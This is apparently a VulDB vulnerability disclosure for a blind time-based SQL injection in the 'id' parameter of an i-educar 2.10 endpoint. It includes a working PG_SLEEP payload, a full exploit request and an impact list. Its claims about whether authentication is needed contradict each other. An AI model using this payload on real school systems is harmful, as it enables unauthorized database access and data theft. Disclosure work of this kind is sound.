Submit #636578: Portabilis i-educar 2.10 SQL Injection

# SQL Injection (Blind Time-Based) Vulnerability in `id` Parameter on `/module/TabelaArredondamento/view` Endpoint

---

## Summary

A SQL Injection vulnerability was identified in the `/module/TabelaArredondamento/view` endpoint of the _i-educar_ application, specifically in the `id` parameter. This vulnerability allows attackers to execute arbitrary SQL commands on the backend database, potentially compromising the confidentiality, integrity, and availability of application data.

---

## Details

**Vulnerable Endpoint:** `/module/TabelaArredondamento/view`
**Parameter:** `id`

To reach the vulnerable functionality, it is necessary to navigate to:
**Escola > Cadastros > Tipos > Regras de Avaliação > Tabelas de Arredondamento**.

![[Pasted image 20250817012555.png]]

Additionally, exploiting this vulnerability requires an account with permissions to **create/list the "Escola" menu**.

The application fails to properly validate and sanitize user input in the `id` parameter. As a result, attackers can inject crafted SQL payloads that are executed directly by the database. This could allow database enumeration, data exfiltration, modification, or denial of service via time-based delays.

---

## PoC

**Payload:**

`'+AND+7097=(SELECT+7097+FROM+PG_SLEEP(5))+AND+'WqeR'='WqeR`

This payload triggers a **5-second delay** in the server response, demonstrating that the parameter is vulnerable to blind time-based SQL injection.

**Example Request:**
```
GET /module/TabelaArredondamento/view?id=1'+AND+7097=(SELECT+7097+FROM+PG_SLEEP(5))+AND+'WqeR'='WqeR HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Referer: http://localhost/module/TabelaArredondamento/index?tipo_nota=1
Cookie: [COOKIE]
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
```

![[Pasted image 20250817012946.png]]

Observe the increased server response time, confirming that the injected SQL command was executed.

---

## Impact

- **Unauthorized data access:** Reading sensitive information such as credentials, personal data, or configuration details

- **Database enumeration:** Extracting database schema, tables, and column details

- **Data manipulation:** Adding, modifying, or deleting database records

- **Denial of Service (DoS):** Using time-based queries to impact system availability

- **Potential escalation to RCE:** If combined with other vulnerabilities and specific database features

This vulnerability affects all users who can interact with the vulnerable parameter, and it can be exploited remotely without prior authentication if the endpoint is exposed.

• Source: ⚠️ https://github.com/marcelomulder/CVE/blob/main/i-educar/SQL%20Injection%20(Blind%20Time-Based)%20Vulnerability%20in%20%60id%60%20Parameter%20on%20%60.module.TabelaArredondamento.view%60%20Endpoint.md
• User: marceloQz (UID 87549)
• Submission: 08/17/2025 23:13 (8 months ago)
• Moderation: 08/28/2025 17:28 (11 days later)
• Status: Accepted
• VulDB entry: 321785 [Portabilis i-Educar up to 2.10 Tabelas de Arredondamento Page view ID sql injection]
• Points: 20